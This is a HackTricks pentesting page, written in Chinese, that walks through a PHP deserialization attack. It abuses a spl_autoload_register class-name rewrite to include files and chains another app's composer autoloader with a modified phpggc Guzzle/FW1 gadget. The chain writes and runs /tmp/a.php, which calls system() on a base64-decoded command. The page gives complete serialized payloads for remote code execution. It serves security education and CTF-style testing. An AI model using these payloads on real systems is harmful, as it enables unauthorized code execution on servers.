hacktricks/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

65 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PHP - 反序列化 + 自动加载类
{{#include ../../banners/hacktricks-training.md}}
首先,您应该检查什么是 [**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。
## PHP 反序列化 + spl_autoload_register + LFI/Gadget
我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有****`phpggc`** 中的库易受攻击的 gadget。然而在同一个容器中有一个 **不同的 composer webapp里面有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库易受反序列化攻击。
步骤:
- 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何 gadget**
- 您可以利用 **`spl_autoload_register`** 函数,如下所示,以 **加载任何本地文件,扩展名为 `.php`**
- 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\
一个 **gadget 示例** 将是: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。
在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**
- 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库)。**知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**在我的情况下composer 加载器在 `/www/frontend/vendor/autoload.php`
- 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**
- 注意:**生成的小工具没有工作**,为了让它工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
- 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
- 你可以看到 **首先加载加载器,然后是有效载荷**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此如您在有效负载中所见PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**有效载荷摘要**
- **加载同一容器中另一个webapp的composer自动加载**
- **加载phpggc小工具**以滥用另一个webapp的库最初易受反序列化攻击的webapp的库中没有任何小工具
- 该小工具将**在/tmp/a.php中创建一个包含PHP有效载荷**的文件文件中包含恶意命令webapp用户无法在任何webapp的任何文件夹中写入
- 我们有效载荷的最后部分将使用**加载生成的php文件**来执行命令
我需要**调用这个反序列化两次**。在我的测试中,第一次创建了`/tmp/a.php`文件但未加载,第二次则正确加载。
{{#include ../../banners/hacktricks-training.md}}